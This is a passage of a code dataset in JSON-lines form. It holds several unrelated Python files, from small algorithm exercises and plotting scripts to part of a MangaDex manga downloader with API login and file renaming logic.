order_id=order_id,\n        revised_quantity=DEFAULT_REVISED_QTY,\n        revised_limit_price=DEFAULT_PRICE,\n    )\n\n    # Then\n    assert \"is of State.Sent state and can not be revised\" in caplog.text\n\n\ndef test_revise_order_qty_less_order_filled_fail(\n    exchange_create_response, strategy_manager, fill_order_id, caplog\n):\n    # Given\n    strategy_manager.on_create_resp(exchange_create_response)\n\n    strategy_manager.revise(\n        order_id=fill_order_id, revised_quantity=5, revised_limit_price=DEFAULT_PRICE\n    )\n    # Then\n    assert \"Can not update quantity to 5, already filled 10\" in caplog.text\n\n\ndef test_cancel(\n    order_id, strategy_manager, exchange_create_response, exchange_cancel_response\n):\n    strategy_manager.on_create_resp(exchange_create_response)\n\n    # When\n    strategy_manager.cancel(order_id)\n\n    # Then\n    assert strategy_manager.orders[order_id][\"state\"] == State.CancelSent\n\n    strategy_manager.on_cancel_resp(exchange_cancel_response)\n\n    assert strategy_manager.orders[order_id][\"state\"] == State.Cancelled\n","repo_name":"automated-trading-for-fun-and-profit/trading-system","sub_path":"client/tests/unit/test_strategy_manager.py","file_name":"test_strategy_manager.py","file_ext":"py","file_size_in_byte":7135,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"35"}
{"seq_id":"35342953044","text":"from collections import defaultdict\nfrom array import *\nimport numpy as np\nimport time\n\"\"\"\nThis programme takes an input file containing transactions between nodes in a graph,\ncalculates the total balances, simplifies the debts and prints out the minimum transactions\nrequired to settle those debts.\n\nFor examples of valid input csv files see ../../../test_data\n\nRequirements: Python 3.6 (or later), numpy\n\nInstall NumPy using pip --> $ python3 -m pip install --user numpy \n\"\"\"\n\n\ndef greedy(scores, debt_array):\n    if len(scores) == 0:\n        return debt_array\n        \n    max_creditor, max_credit = max_entry(scores)\n    max_debtor, max_debt = min_entry(scores)\n\n    new_debt_array = debt_array.copy()\n\n    if max_credit == -max_debt:\n        new_debt_array.append([max_debtor, max_creditor, -max_debt])\n        del scores[max_debtor]\n        del scores[max_creditor]\n    elif max_credit  > -max_debt:\n        new_debt_array.append([max_debtor, max_creditor, -max_debt])\n        del scores[max_debtor]\n        scores[max_creditor] += max_debt\n    elif max_credit  < -max_debt:\n        new_debt_array.append([max_debtor, max_creditor, max_credit])\n        del scores[max_creditor]\n        scores[max_debtor] += max_credit\n\n    updated_scores = scores\n    return greedy(updated_scores, new_debt_array)\n\ndef scores(transactions):\n    scores = defaultdict(int)\n\n    for f, t, a in transactions:\n        scores[f] -= a\n        scores[t] += a\n\n    return scores\n\n\ndef max_entry(m):\n\t# find first element\n\tfor i in m: \n\t\tindex = i\n\t\tvalue = m[index]\n\t\tbreak\n\t\n\t# obtain max element\n\tfor x in m:\n\t\tif m[x] > value:\n\t\t\tindex, value = x, m[x]\n\treturn index, value\n\n\ndef min_entry(m):\n\t# find first element\n\tfor i in m :\n\t\tindex = i\n\t\tvalue = m[index]\n\t\tbreak\n\t# obtain min element\n\tfor x in m :\n\t\tif m[x] < value :\n\t\t\tindex, value = x, m[x]\n\treturn index, value\n\ndef is_zero_sum(scores):\n    v = 0\n    for i in scores:\n        v += scores[i]\n    return v == 0\n\n\"\"\"\nSolution\n\nClass containing minimum transaction algorithm and csv decoding \n\"\"\"\nclass Solution: \n\n    def __init__(self):      \n        # do nothing\n        return\n\n    def read_file(self, input_csv):\n        return np.genfromtxt(input_csv, delimiter=',')\n\n    def simplify_debts(self, transactions):\n        balances = scores(transactions)\n        if is_zero_sum(balances) != True:\n            raise Exception(\"invalid scores, must be zero sum\")\n        debts = list()\n        return greedy(balances, debts)\n\n\n\n\nif __name__ == \"__main__\":\n    print(\"splitwise algorithm in python\")\n\n    # instantiate class instance\n    solution_instance = Solution\n\n    # Measure csv load time\n    start = time.perf_counter_ns()\n    data = solution_instance().read_file(\"../../../test_data/input.csv\")\n    print(f\"read csv file in {(time.perf_counter_ns() - start)/1000} microseconds\")\n\n    # Measure algorithm time\n    restart = time.perf_counter_ns()\n    m = solution_instance().simplify_debts(data)\n    print(f\"completed simplify_debts execution in {(time.perf_counter_ns() -  restart)/1000} microseconds, transactions {len(m)}\")\n\n    print(\"simplified debts\", m)","repo_name":"ATMackay/splitwise","sub_path":"python/src/splitwise/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26831158318","text":"import matplotlib\nmatplotlib.use('Agg')\nimport numpy as np\n\nCM_TO_M = 100\n\ndef show3Dpose(channels, ax, gt, mm=True):\n    vals = channels.reshape((16, 3))\n    if mm:\n        channels *= CM_TO_M\n    if gt:\n        color = \"#3498db\"\n    else:\n        color = \"#e74c3c\"\n    I = np.array([0, 2, 3, 5, 6, 8, 9, 10, 12, 13, 14, 2, 5, 2])  # start points\n    J = np.array([1, 3, 4, 6, 7, 9, 10, 11, 13, 14, 15, 8, 12, 5])  # end points\n\n    for i in range(16):\n        ax.scatter(vals[i][0], vals[i][1], vals[i][2], c=color)\n\n    for i in np.arange(len(I)):\n        x, y, z = [np.array([vals[I[i], j], vals[J[i], j]]) for j in range(3)]\n        ax.plot(x, y, z, lw=2, c=color)\n\n    RADIUS = 50  # space around the subject\n    xroot, yroot, zroot = vals[8, 0], vals[8, 1], vals[8, 2]\n    ax.set_xlim3d([-RADIUS + xroot, RADIUS + xroot])\n    ax.set_zlim3d([RADIUS + zroot, -RADIUS + zroot])\n    ax.set_ylim3d([-RADIUS + yroot, RADIUS + yroot])\n\n    # Get rid of the ticks and tick labels\n    ax.set_xticks([])\n    ax.set_yticks([])\n    ax.set_zticks([])\n\n    # ax.get_xaxis().set_ticklabels([])\n    # ax.get_yaxis().set_ticklabels([])\n    ax.set_xticklabels([])\n    ax.set_yticklabels([])\n    ax.set_zticklabels([])\n    ax.set_aspect('equal')\n\n    # Get rid of the panes (actually, make them white)\n    white = (1.0, 1.0, 1.0, 0.0)\n    ax.w_xaxis.set_pane_color(white)\n    ax.w_yaxis.set_pane_color(white)\n    # Keep z pane\n\n    # Get rid of the lines in 3d\n    ax.w_xaxis.line.set_color(white)\n    ax.w_yaxis.line.set_color(white)\n    ax.w_zaxis.line.set_color(white)\n","repo_name":"FloralZhao/xR-EgoPose","sub_path":"utils/vis3d.py","file_name":"vis3d.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74180663140","text":"#User function Template for python3\nclass Solution:\n    def findLastOccurence(self, A, B):\n        # code here\n        for i in range(len(A)-1,-1,-1):\n            if A[i]==B[0] and A[i:i+len(B)]==B:\n                return i+1\n        return -1\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\nif __name__ == '__main__': \n    t = int (input ())\n    for _ in range (t):\n        \n        A = input()\n        B= input()\n\n        ob = Solution()\n        print(ob.findLastOccurence(A,B))\n# } Driver Code Ends","repo_name":"AyushAgnihotri2025/CP-Solutions","sub_path":"GeeksforGeeks/Python3/Easy/Last Match/last-match.py","file_name":"last-match.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"16163401108","text":"#Problem: just see it -- it's too hard to give context: https://projecteuler.net/problem=65\n#           What is the sum of the numerator of the 100th continued fraction convergent of e?\n\nimport math\nfrom time import time\n\ndef sumDigits(x):\n    #Sums the digits of a large number\n    sx = str(x)\n    ssum = 0\n    for i in sx:\n        ssum += int(i)\n    return ssum\n\ndef main():\n    #The strategy: One odd thing to notice about continued fractions (yes I had to look this up for the next problem) is that\n    #the numerator of a convergent follows a pattern: if the numerator of the kth convergent is p(k) and a(m) is the mth coefficient of \n    #the continued fraction, p(0) = a(0), p(1) = a(0)*a(1)+1, and p(n) = a(n)*p(n-1)+p(n-2). Using this recursive identity, we simply generate\n    #the first 100 coefficients for the continued fraction of e and iteratively go up and find p(100). Then, we sum the digitsm, and that's the answer\n    #executes in \"0.0 seconds\" (thanks garbage time library)\n    t0 = time()\n    e_list = []\n    maxVal = 100\n    for i in range(2,1+maxVal):\n        if i%3:\n            e_list.append(1)\n        else:\n            e_list.append(int(2*i/3))\n    \n    num = 3\n    pnum = 2\n    for i in range(1,len(e_list)):\n        nnum = e_list[i]*num+pnum\n        pnum = num\n        num = nnum\n\n    numeratorSum = int(sumDigits(num))\n    print(\"Time Elapsed:\", time()-t0)\n    print(numeratorSum)\n\nmain()","repo_name":"RileyWaugh/ProjectEuler","sub_path":"Problem65.py","file_name":"Problem65.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24209239532","text":"import numpy as np\nfrom scipy.interpolate import lagrange\n\nx = np.array([1,2,3])\ny_v1 = np.array([1, 2, -1])\npoly_v1 = lagrange(x, y_v1)\n\nprint(poly_v1)\n# -2 x^2 + 7 x - 4\n# IMPORTANT: We multiply by a constant here\npoly_final = poly_v1 * 3\nprint(poly_final)\n# -6 x^2 + 21 x - 12\nprint(\"poly_v1 * 3 =\", [poly_final(1), poly_final(2), poly_final(3)])\n# [3.0, 6.0, -3.0]\nprint(\"y_v1 * 3 =\", y_v1 * 3)","repo_name":"zigtur/Rareskills-ZK-book","sub_path":"quadratic-arithmetic-programs/scalar-homomorphism.py","file_name":"scalar-homomorphism.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"29008376950","text":"\"\"\"\nNapisz funkcję do której przekazywana jest lista liczb całkowitych.\nZwróć true jeśli liczba 1 pojawia się na koncu lub na poczatku listy.\nzałóż że lista ma conajmniej jeden element\n\"\"\"\n\ndef trueifone(numbers):\n    start = numbers[0]\n    end = numbers [-1]\n    boolean = (start == '1' or end == '1')\n    return boolean\n\n\nif __name__== '__main__':\n    while True:\n        user_list = input('Provide number: ').split(' ')\n        print(trueifone(user_list))\n\n        decision = input('Do you want to break y/n: ')\n        if decision.lower() == 'y':\n            break\n    print('Thank You')\n","repo_name":"artkolin/python_basics","sub_path":"iterators/trueifone.py","file_name":"trueifone.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14896564406","text":"import re\nimport os\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import FuncFormatter\nfrom collections import defaultdict\nimport statistics\n\ndirectory = \"./wrk\"  # Replace with the actual directory path\n\nrequests_sec = defaultdict(list)\ntransfers_sec = defaultdict(list)\n\nmean_requests = {}\nmean_transfers = {}\n\n\ndef plot(kind='', title='', ylabel='', means=None):\n    # Sort the labels and requests_sec lists together based on the requests_sec values\n    labels = []\n    values = []\n\n    # silly, I know\n    for k, v in means.items():\n        labels.append(k)\n        values.append(v)\n\n    # sort the labels and value lists \n    labels, values = zip(*sorted(zip(labels, values), key=lambda x: x[1], reverse=True))\n\n    # Plot the graph\n    plt.figure(figsize=(10, 6))  # Adjust the figure size as needed\n    bars = plt.bar(labels, values)\n    plt.xlabel(\"Subject\")\n    plt.ylabel(ylabel)\n    plt.title(title)\n    plt.xticks(rotation=45)  # Rotate x-axis labels for better readability\n\n    # Display the actual values on top of the bars\n    for bar in bars:\n        yval = bar.get_height()\n        plt.text(bar.get_x() + bar.get_width() / 2, yval, f'{yval:,.2f}', ha='center', va='bottom')\n\n    plt.tight_layout()  # Adjust the spacing of the graph elements\n    png_name = f\"{directory}/{kind.lower()}_graph.png\"\n    plt.savefig(png_name)  # Save the graph as a PNG file\n    print(f\"Generated: {png_name}\")\n\n\nif __name__ == '__main__':\n    if not os.path.isdir(\".git\"):\n        print(\"Please run from root directory of the repository!\")\n        print(\"e.g. python wrk/graph.py\")\n        import sys\n        sys.exit(1)\n\n    # Iterate over the files in the directory\n    for filename in os.listdir(directory):\n        if filename.endswith(\".perflog\"):\n            label = os.path.splitext(filename)[0]\n            file_path = os.path.join(directory, filename)\n\n            with open(file_path, \"r\") as file:\n                lines = file.readlines()\n                for line in lines: \n                    # Extract the Requests/sec value using regular expressions\n                    match = re.search(r\"Requests/sec:\\s+([\\d.]+)\", line)\n                    if match:\n                        requests_sec[label].append(float(match.group(1)))\n                    match = re.search(r\"Transfer/sec:\\s+([\\d.]+)\", line)\n                    if match:\n                        value = float(match.group(1))\n                        if 'KB' in line:\n                            value *= 1024\n                        elif 'MB' in line:\n                            value *= 1024 * 1024\n                        value /= 1024.0 * 1024\n                        transfers_sec[label].append(value)\n\n    # calculate means\n    for k, v in requests_sec.items():\n        mean_requests[k] = statistics.mean(v)\n\n    for k, v in transfers_sec.items():\n        mean_transfers[k] = statistics.mean(v)\n\n    # save the plots\n    plot(kind='req_per_sec', title='Requests/sec Comparison',\n         ylabel='requests/sec', means=mean_requests)\n    plot(kind='xfer_per_sec', title='Transfer/sec Comparison',\n         ylabel='transfer/sec [MB]', means=mean_transfers)\n","repo_name":"zigzap/zap","sub_path":"wrk/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","stars":1308,"dataset":"github-code","pt":"35"}
{"seq_id":"26674194130","text":"import getpass\nimport gzip\nimport html\nimport json\nimport multiprocessing\nimport os\nimport re\nimport time\nimport zipfile\nfrom datetime import datetime, timedelta\nfrom pathlib import Path\nfrom typing import Optional, Tuple, Union, TYPE_CHECKING\n\nimport requests\nfrom requests.models import Response\n\nfrom .constants import ImpVar\nfrom .errors import MDownloaderError, MDRequestError, NoChaptersError\nfrom .languages import get_lang_md\n\nif TYPE_CHECKING:\n    from .jsonmaker import TitleJson, BulkJson\n    from .exporter import ArchiveExporter, FolderExporter\n\n\n\nclass ModelsBase:\n\n    def __init__(self, model: 'MDownloader') -> None:\n        self.model = model\n\n\n\nclass MDownloaderBase:\n\n    def __init__(self) -> None:\n        self.id = str()\n        self.debug = False\n        self.force_refresh = False\n        self.download_type = str()\n        self.directory = ImpVar.DOWNLOAD_PATH\n        self.file_download = False\n\n        self.data = {}\n        self.manga_data = {}\n        self.manga_titles = []\n        self.chapters = []\n        self.chapters_data = []\n        self.chapter_data = {}\n        self.title_json: 'TitleJson' = None\n        self.bulk_json: 'BulkJson' = None\n        self.chapter_prefix_dict = {}\n        self.exporter: Union['ArchiveExporter', 'FolderExporter'] = None\n        self.params = {}\n        self.cache_json = {}\n        self.chapters_archive = []\n        self.chapters_folder = []\n\n        self.type_id = 0\n        self.exporter_id = 1\n        self.manga_id = str()\n        self.chapter_id = str()\n        self.title = str()\n        self.prefix = str()\n        self.name = str()\n        self.route = str()\n        self.chapter_limit = 500\n        self.chapters_total = 0\n        self.manga_download = False\n\n        self.api_url = ImpVar.MANGADEX_API_URL\n        self.mdh_url = f'{self.api_url}/at-home/server'\n        self.chapter_api_url = f'{self.api_url}/chapter'\n        self.manga_api_url = f'{self.api_url}/manga'\n        self.group_api_url = f'{self.api_url}/group'\n        self.user_api_url = f'{self.api_url}/user'\n        self.list_api_url = f'{self.api_url}/list'\n        self.cover_api_url = f'{self.api_url}/cover'\n        self.legacy_url = f'{self.api_url}/legacy/mapping'\n        self.report_url = 'https://api.mangadex.network/report'\n        self.cover_cdn_url = f'{ImpVar.MANGADEX_CDN_URL}/covers'\n\n\n\nclass ApiMD(ModelsBase):\n\n    def __init__(self, model) -> None:\n        super().__init__(model)\n        self.session = requests.Session()\n\n    def post_data(self, url: str, post_data: dict) -> Response:\n        \"\"\"Send a POST request with data to the API.\"\"\"\n        response = self.session.post(url, json=post_data)\n        # if self.model.debug: print(response.url)\n        return response\n\n    def request_data(self, url: str, get_chapters: bool=False, **params: dict) -> Response:\n        \"\"\"Connect to the API and get the response.\n\n        Args:\n            url (str): Download url.\n            get_chapters (bool, optional): If the download is to get the chapters. Defaults to False.\n\n        Returns:\n            Response: The response of the resquest.\n        \"\"\"\n        if get_chapters:\n            if self.model.download_type in ('group', 'user'):\n                url = self.model.chapter_api_url\n            else:\n                url = f'{url}/feed'\n\n        response = self.session.get(url, params=params)\n        if self.model.debug: print(response.url)\n        return response\n\n    def check_response_error(self, download_id: str, download_type: str, response: Response, data: dict={}) -> None:\n        \"\"\"Check if the response status code is 200 or not.\"\"\"\n        if response.status_code != 200:\n            raise MDRequestError(download_id, download_type, response, data)\n\n    def convert_to_json(self, download_id: str, download_type: str, response: Response) -> Union[dict, list]:\n        \"\"\"Convert the response data into a parsable json.\"\"\"\n        try:\n            data = response.json()\n        except json.JSONDecodeError:\n            raise MDRequestError(download_id, download_type, response)\n\n        self.check_response_error(download_id, download_type, response, data)\n\n        if 'result' in data and data[\"result\"].lower() not in ('ok',):\n            raise MDRequestError(download_id, download_type, response, data={\"result\": \"error\", \"errors\": [{\"status\": 200, \"detail\": f\"Result returned `{data['result']}`.\"}]})\n\n        if 'response' in data:\n            if data[\"response\"] == 'entity':\n                data = data[\"data\"]\n\n        return data\n\n    def get_manga_data(self, download_type: str) -> dict:\n        \"\"\"Call the manga api for the data.\n\n        Args:\n            download_type (str): The type of download calling the manga api.\n\n        Returns:\n            dict: The manga's data.\n        \"\"\"\n        manga_response = self.request_data(f'{self.model.manga_api_url}/{self.model.manga_id}', **{\"includes[]\": [\"artist\", \"author\", \"cover\"]})\n        return self.convert_to_json(self.model.manga_id, download_type, manga_response)\n\n\n\nclass AuthMD(ModelsBase):\n\n    def __init__(self, model) -> None:\n        super().__init__(model)\n        self.successful_login = False\n        self.token_file = Path('').joinpath(ImpVar.TOKEN_FILE)\n        self.auth_url = f'{self.model.api_url}/auth'\n\n    def _save_session(self, token: dict) -> None:\n        \"\"\"Save the session and refresh tokens.\"\"\"\n        with open(self.token_file, 'w') as login_file:\n            login_file.write(json.dumps(token, indent=4))\n\n    def _update_headers(self, session_token: str) -> None:\n        \"\"\"Update the session headers to include the auth token.\"\"\"\n        self.model.api.session.headers = {\"Authorization\": f\"Bearer {session_token}\"}\n\n    def _refresh_token(self, token: dict) -> bool:\n        \"\"\"Use the refresh token to get a new session token.\n\n        Returns:\n            bool: If login using the refresh token or account was successful.\n        \"\"\"\n        refresh_response = self.model.api.post_data(f'{self.auth_url}/refresh', post_data={\"token\": token[\"refresh\"]})\n\n        if refresh_response.status_code == 200:\n            refresh_data = refresh_response.json()[\"token\"]\n\n            self._update_headers(token[\"session\"])\n            self._save_session(refresh_data)\n            return True\n        elif refresh_response.status_code in (401, 403):\n            print(\"Couldn't login using refresh token, login using your account.\")\n            return self._login_using_details()\n        else:\n            print(\"Couldn't refresh token.\")\n            return False\n\n    def _check_login(self, token: dict) -> bool:\n        \"\"\"Try login using saved session token.\n\n        Returns:\n            bool: If login using the session token successful.\n        \"\"\"\n        auth_check_response = self.model.api.session.get(f'{self.auth_url}/check')\n\n        if auth_check_response.status_code == 200:\n            auth_data = auth_check_response.json()\n\n            if auth_data[\"isAuthenticated\"]:\n                return True\n            else:\n                return self._refresh_token(token)\n\n    def _login_using_details(self) -> bool:\n        \"\"\"Login using account details.\n\n        Returns:\n            bool: If login was successful.\n        \"\"\"\n        username = input('Your username: ')\n        password = getpass.getpass(prompt='Your password: ', stream=None)\n\n        credentials = {\"username\": username, \"password\": password}\n        post = self.model.api.post_data(f'{self.auth_url}/login', post_data=credentials)\n\n        if post.status_code == 200:\n            token = post.json()[\"token\"]\n            self._update_headers(token[\"session\"])\n            self._save_session(token)\n            return True\n        return False\n\n    def login(self) -> None:\n        \"\"\"Login to MD account using details or saved token.\"\"\"\n        print('Trying to login through the .mdauth file.')\n\n        try:\n            with open(self.token_file, 'r') as login_file:\n                token = json.load(login_file)\n\n            self._update_headers(token[\"session\"])\n            logged_in = self._check_login(token)\n        except (FileNotFoundError, json.JSONDecodeError):\n            print(\"Couldn't find the file, trying to login using your account.\")\n            logged_in = self._login_using_details()\n\n        if logged_in:\n            self.successful_login = True\n            print('Login successful!')\n        else:\n            print('Login unsuccessful, continuing without being logged in.')\n\n\n\nclass ProcessArgs(ModelsBase):\n\n    def __init__(self, model) -> None:\n        super().__init__(model)\n        self.language = str()\n        self.archive_extension = str()\n        self.folder_download = bool()\n        self.cover_download = bool()\n        self.save_chapter_data = bool()\n        self.range_download = bool()\n        self.rename_files = bool()\n        self.search_manga = False\n        self.download_in_order = False\n        self.naming_scheme_options = [\"default\", \"original\", \"number\"]\n        self.naming_scheme = \"default\"\n\n    def format_args(self, vargs: dict) -> None:\n        \"\"\"Format the command line arguments into readable data.\"\"\"\n        args_dict = vargs\n\n        self.model.id = str(args_dict[\"id\"])\n        self.model.debug = bool(args_dict[\"debug\"])\n        self.model.force_refresh = bool(args_dict[\"refresh\"])\n        self.model.download_type = str(args_dict[\"type\"])\n        self.model.directory = str(args_dict[\"directory\"]) if args_dict[\"directory\"] is not None else self.model.directory\n        self.language = get_lang_md(args_dict[\"language\"])\n        self.archive_extension = ImpVar.ARCHIVE_EXTENSION\n        self._check_archive_extension(self.archive_extension)\n        self.folder_download = bool(args_dict[\"folder\"])\n        self.cover_download = bool(args_dict[\"covers\"])\n        self.save_chapter_data = bool(args_dict[\"json\"])\n        self.range_download = bool(args_dict[\"range\"])\n        self.rename_files = bool(args_dict[\"rename\"])\n        self.download_in_order = bool(args_dict[\"order\"])\n        if args_dict[\"login\"]: self.model.auth.login()\n        if args_dict[\"search\"]:\n            self.search_manga = True\n            self._find_manga(self.model.id)\n\n    def _check_archive_extension(self, archive_extension: str) -> str:\n        \"\"\"Check if the file extension is an accepted format. Default: cbz.\n\n        Raises:\n            MDownloaderError: The extension chosen isn't allowed.\n        \"\"\"\n        if archive_extension not in ('zip', 'cbz'):\n            raise MDownloaderError(\"This archive save format is not allowed.\")\n\n    def _find_manga(self, search_term: str) -> None:\n        \"\"\"Search for a manga by title.\"\"\"\n        manga_response = self.model.api.request_data(\n            f'{self.model.manga_api_url}',\n            **{\"title\": search_term,\n               \"limit\": 100,\n               \"includes[]\": [\"artist\", \"author\", \"cover\"],\n               \"contentRating[]\": [\"safe\",\"suggestive\",\"erotica\", \"pornographic\"],\n               \"order[relevance]\": \"desc\"})\n        search_results = self.model.api.convert_to_json(search_term, 'manga-search', manga_response)\n        search_results_data = search_results[\"data\"]\n\n        for count, manga in enumerate(search_results_data, start=1):\n            title = self.model.formatter.get_title(manga)\n            print(f'{count}: {title} | {ImpVar.MANGADEX_URL}/manga/{manga[\"id\"]}')\n\n        try:\n            manga_to_use_num = int(input(f'Choose a number matching the position of the manga you want to download: '))\n        except ValueError:\n            raise MDownloaderError(\"That's not a number.\")\n\n        if manga_to_use_num not in range(1, (len(search_results_data) + 1)):\n            raise MDownloaderError(\"Not a valid option.\")\n\n        manga_to_use = search_results_data[manga_to_use_num - 1]\n\n        self.model.id = manga_to_use[\"id\"]\n        self.model.download_type = 'manga'\n        self.model.manga_data = manga_to_use\n\n\n\nclass ExistChecker(ModelsBase):\n\n    def check_exist(self, pages: list) -> bool:\n        \"\"\"Check if the number of images in the archive or folder match that of the API.\"\"\"\n        # Only image files are counted\n        if self.model.args.folder_download:\n            files_path = os.listdir(self.model.exporter.folder_path)\n        else:\n            files_path = self.model.exporter.archive.namelist()\n\n        zip_count = [i for i in files_path if i.endswith(('.png', '.jpg', '.jpeg', '.gif'))]\n\n        if len(pages) == len(zip_count):\n            return True\n        return False\n\n    def _save_json(self) -> None:\n        \"\"\"Save the chapter data to the data json and save the json.\"\"\"\n        if self.model.type_id in (1,):\n            self.model.title_json.core()\n\n        if self.model.type_id in (2, 3):\n            self.model.manga_download = False\n            self.model.bulk_json.core()\n            self.model.manga_download = True\n\n    def before_download(self, exists: bool) -> None:\n        \"\"\"Skip chapter if its already downloaded.\"\"\"\n        if exists:\n            # Add chapter data to the json for title, group or user downloads\n            self._save_json()\n            self.model.exporter.close()\n            raise MDownloaderError('File already downloaded.')\n\n    def after_download(self, downloaded_all: bool) -> None:\n        \"\"\"Save json if all the images were downloaded and close the archive.\"\"\"\n        # If all the images are downloaded, save the json file with the latest downloaded chapter\n        if downloaded_all:\n            self._save_json()\n\n        # Close the archive\n        self.model.exporter.close()\n\n\n\nclass DataFormatter(ModelsBase):\n\n    def __init__(self, model: 'MDownloader') -> None:\n        super().__init__(model)\n        self.file_name_regex = re.compile(ImpVar.FILE_NAME_REGEX, re.IGNORECASE)\n\n    def _check_downloaded_files(self):\n        \"\"\"Check if folders using other manga titles exist.\"\"\"\n        new_title = self.model.title\n        available_titles = [self.strip_illegal_characters(x) for x in self.model.manga_titles if self.strip_illegal_characters(x) in [\n            route for route in os.listdir(self.model.directory) if os.path.isdir(os.path.join(self.model.directory, route))]]\n        if not available_titles:\n            return\n\n        if new_title in available_titles:\n            for title in reversed(available_titles):\n                if title == new_title:\n                    available_titles.remove(title)\n\n            if not available_titles:\n                return\n\n        print(f\"Renaming files and folders with {new_title}'s other titles.\")\n\n        processes = []\n        for title in available_titles:\n            process = multiprocessing.Process(target=self._title_rename, args=(new_title, title))\n            process.start()\n            processes.append(process)\n\n        for process in processes:\n            process.join()\n\n        print(f\"Finished renaming all the old titles.\")\n\n    def _title_rename(self, new_title: str, title: str):\n        \"\"\"Go through the files and folders in the directory and rename to use the new title.\"\"\"\n        from .jsonmaker import TitleJson\n        new_title_path = Path(self.model.route)\n        new_title_path.mkdir(parents=True, exist_ok=True)\n        old_title_path = Path(os.path.join(self.model.directory, title))\n        old_title_files = os.listdir(old_title_path)\n        new_title_route = self.model.route\n\n        archive_downloads = [route for route in old_title_files if os.path.isfile(old_title_path.joinpath(route))]\n        folder_downloads = [route for route in old_title_files if os.path.isdir(old_title_path.joinpath(route))]\n        archive_downloads.reverse()\n        folder_downloads.reverse()\n\n        process = multiprocessing.Process(\n            target=self._renaming_process,\n            args=(new_title, new_title_path, old_title_path, archive_downloads, folder_downloads))\n        process.start()\n        process.join()\n\n        self.model.route = old_title_path\n        old_title_json = TitleJson(self.model)\n        self.model.route = new_title_route\n        new_title_json = TitleJson(self.model)\n\n        for chapter in old_title_json.chapters:\n            new_title_json.add_chapter(chapter)\n\n        new_title_json.core()\n        old_cover_route = old_title_json.cover_route\n        new_cover_route = new_title_json.cover_route\n        old_cover_route.mkdir(parents=True, exist_ok=True)\n        new_cover_route.mkdir(parents=True, exist_ok=True)\n\n        for cover in os.listdir(old_cover_route):\n            old_cover_path = old_title_json.cover_route.joinpath(cover)\n            if cover not in os.listdir(new_cover_route):\n                new_cover_path = new_title_json.cover_route.joinpath(cover)\n                old_cover_path.rename(new_cover_path)\n            else:\n                old_cover_path.unlink()\n\n        old_title_json.cover_route.rmdir()\n        old_title_json.json_path.unlink()\n        del old_title_json\n        del new_title_json\n        old_title_path.rmdir()\n\n    def _renaming_process(self, new_title, new_title_path, old_title_path, archive_downloads, folder_downloads):\n        pool = multiprocessing.Pool()\n        pool_processes = []\n\n        for folder_download in folder_downloads:\n            p = pool.apply(self._folder_rename, args=(new_title, new_title_path, old_title_path, folder_download))\n            pool_processes.append(p)\n\n        for archive_download in archive_downloads:\n            p = pool.apply(self._archive_rename, args=(new_title, new_title_path, old_title_path, archive_download))\n            pool_processes.append(p)\n\n        pool.close()\n        pool.join()\n\n    def _archive_rename(self, new_title: str, new_title_path: 'Path', old_title_path: 'Path', archive_download: str):\n        \"\"\"Rename the downloaded archives from the old title into the new title.\"\"\"\n        old_file_name_match = self.file_name_regex.match(archive_download)\n        if not old_file_name_match:\n            return\n\n        old_archive_path = old_title_path.joinpath(archive_download)\n        old_zipfile = zipfile.ZipFile(old_archive_path, mode=\"r\", compression=zipfile.ZIP_DEFLATED)\n        old_zipfile_files = old_zipfile.infolist()\n\n        old_name = old_file_name_match.group('title')\n        file_extension = old_file_name_match.group('extension')\n\n        new_archive_path = new_title_path.joinpath(archive_download.replace(old_name, new_title)).with_suffix(f'.{file_extension}')\n        new_zipfile = zipfile.ZipFile(new_archive_path, mode=\"a\", compression=zipfile.ZIP_DEFLATED)\n        new_zipfile.comment = old_zipfile.comment\n\n        for old_image_name in old_zipfile_files:\n            new_image = old_image_name.filename.replace(old_name, new_title)\n            if new_image not in new_zipfile.namelist():\n                new_zipfile.writestr(new_image, old_zipfile.read(old_image_name))\n\n        # Close the archives and delete the old file\n        old_zipfile.close()\n        new_zipfile.close()\n        old_archive_path.unlink()\n\n    def _folder_rename(self, new_title: str, new_title_path: 'Path', old_title_path: 'Path', folder_download: str):\n        \"\"\"Rename the downloaded folders from the old title into the new title.\"\"\"\n        old_file_name_match = self.file_name_regex.match(folder_download)\n        if not old_file_name_match:\n            return\n        old_folder_path = old_title_path.joinpath(folder_download)\n        old_name = old_file_name_match.group('title')\n\n        new_name = folder_download.replace(old_name, new_title)\n        new_folder_path = new_title_path.joinpath(new_name)\n        new_folder_path.mkdir(parents=True, exist_ok=True)\n\n        for old_image_name in os.listdir(old_folder_path):\n            new_image_name = old_image_name.replace(old_name, new_title)\n            old_page_path = Path(old_folder_path.joinpath(old_image_name))\n            if new_image_name not in os.listdir(new_folder_path):\n                extension = os.path.splitext(old_page_path)[1]\n                new_page_path = Path(new_folder_path.joinpath(new_image_name)).with_suffix(f'{extension}')\n                old_page_path.rename(new_page_path)\n            else:\n                old_page_path.unlink()\n\n        # Delete old folder after moving\n        old_folder_path.rmdir()\n\n    def get_title(self, data: dict) -> str:\n        \"\"\"Get the title from the manga data, looks for other languages if English is not available.\"\"\"\n        attributes = data[\"attributes\"]\n        title_dict = attributes[\"title\"]\n        orig_lang = attributes[\"originalLanguage\"]\n        self.model.manga_titles = list(title_dict.values())\n        self.model.manga_titles.extend([title_dict[key] for title_dict in attributes[\"altTitles\"] for key in title_dict])\n\n        if 'en' in title_dict:\n            title = title_dict[\"en\"]\n        elif orig_lang in title_dict:\n            title = title_dict[orig_lang]\n        else:\n            key 